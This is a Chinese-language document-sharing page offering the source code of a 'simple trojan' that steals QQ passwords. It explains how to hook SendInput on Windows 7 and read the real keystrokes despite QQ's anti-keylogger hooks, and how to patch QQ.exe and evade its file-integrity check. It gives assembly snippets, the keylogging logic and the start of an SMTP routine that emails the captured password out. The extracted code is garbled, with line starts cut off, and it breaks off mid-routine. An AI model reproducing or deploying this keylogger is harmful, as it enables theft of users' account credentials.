一个简单木马的源代码
- 格式:doc
- 大小:150.00 KB
- 文档页数:23
代码没给大家讲解,不知道看懂没。
所以,现在我原理给大家说一下,腾讯QQ 安装了两个钩子一个是WH_DEBUG,还有一个是WH_KEYBOARD_LL,当QQ的密码框获得焦点的时候DEBUG钩子就开始用SendInput发送乱码,在QQ启动的时候也会先调用SendInput发送一个乱码,所以就挂钩SendInput 这个函数,我们正确安装按键的时候QQ会通过WH_KERBOARD_LL低级钩子,发送一个错误的按键信息,在这里通过分析,发现在WIN7系统上真实的按键的就在0x12faa0处记录着,挂钩之后判断一下来源,
if(nRetAddress!=0x74F3&&nRetAddress!=0x7374) ,就排除不是真实按键调用的,当然上面这句我们是WIn7上的地址,所有有朋友说,在XP上不行,由于我是WIN7的系统,还没装XP的虚拟机,所以并没添加这个判断,传进来的pInputs等我们基本上就不用去管他,然后通过if(pInputs->ki.dwFlags==0)
判断是否是键盘按下,如果是按下,我们就开始记录。
DWORD nRetAddress=0;
_asm
{
mov eax,0
mov ax,[ebp+4]
mov nRetAddress,eax
}
if(nRetAddress!=0x74F3&&nRetAddress!=0x7374)
这就是取得是什么地方在调用SendInput.
char key=0;
_asm
{
mov ebx,0x12faa0
mov eax,0
mov al,[ebx]
mov key,al
}
获取真实的按键,稍后我换上XP系统后,会将这个几个关键西方的发出,大家就可以在XP上也能使用这个木马了。
有人会问为什么我的文件是User32Hook.cpp 实际挂钩的是SendInput,这个是因为,我用OD分析的时候发现在User32.dll 中有一个固定地址通过[ebp+c]之后也可以获取到键盘按下的真实按键信息,只要挂钩在那里,也是可以获得真确的按键信息,然后写出木马,并且可以早于QQ的WH_KEYBOARD_LL钩子获取真实按键,就算QQ在WH_KEYBOARD_LL把WIN7下地址为
0x12faa0的真实按键信息清0,也是没有用的,兴趣的朋友,就在WH_KEYBOARD_LL上下段,然后往上跟就会看到了。只是这样挂钩USER32.dll的时候光写这个DLL了,就得去修改QQ.EXE文件,修改QQEXE后,他有个自身文件的验证,可以通过修改输入表,替换掉CreateFileW 改变打开的文件,而绕过他的文件验证保护,在首地址写入,加载DLL的代码,立马挂钩USER32.DLL,然后恢复QQ的OEP地址的内存,从新回到QQ的OEP,这样就可以在QQ输入密码的时候早于QQ获得,也不用在挂钩SendInput,后来我发现WH_KEYBOARD_LL钩子中当真实的按键按下时,他也会去调用SendInput虽然是错的按键,但是我们可以通过0x12faa0获得真实的按键,所以我就改写了,代码,这样看起来更简单。其他的我就不多说,有兴趣的朋友,在分析把!
代码在后面,我会陆续全部贴上
代码:
木马dll函数的main.cpp文件的代码代码:
HookOn();
InitHookCallBack();
char g_Password[100];
文件
f struct _SMTPINFO
ar SmtpSrvName[32];
ar Port[7];
ar UserName[16];
ar Password[16];
ar From[32];
ar To[32];
ar Subject[32];
ar Msg[64];
NFO;
户名和密码转换为base64编码
Base64(unsigned char *chasc,unsigned char *chuue);
alk(SOCKET sockid, const char *OkCode, char *pSend); endMail(const SMTPINFO *psmtpinfo);
pp文件中的代码
de
e WIN32_LEAN_AND_MEAN
de
de
de
de "SendMail.h"
a comment(lib,"ws2_32.lib")
int buflen = 256;
buf[buflen];
,userlen,passlen;
----------------------------------------------------------------- endMail(const SMTPINFO *psmtpinfo)
准备网络连接
ADATA wsadata;
(WSAStartup(MAKEWORD(2,2),&wsadata) != 0)
return 1;
创建套接字
CKET sockid;
((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
WSACleanup();
return 1;
得到smtp服务器ip
ruct hostent *phostent = gethostbyname(psmtpinfo->SmtpSrvName);
ruct sockaddr_in addr;
pyMemory(&addr.sin_addr.S_un.S_addr,
ostent->h_addr_list[0],
zeof(addr.sin_addr.S_un.S_addr));
dr.sin_family = AF_INET;
dr.sin_port = htons(atoi(psmtpinfo->Port));
roMemory(&addr.sin_zero, 8);
连接服务器
(connect(sockid, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR) goto STOP;
(Talk(sockid, "220", "EHLO sjdf"))
goto STOP;
(Talk(sockid, "250", "AUTH LOGIN"))
goto STOP;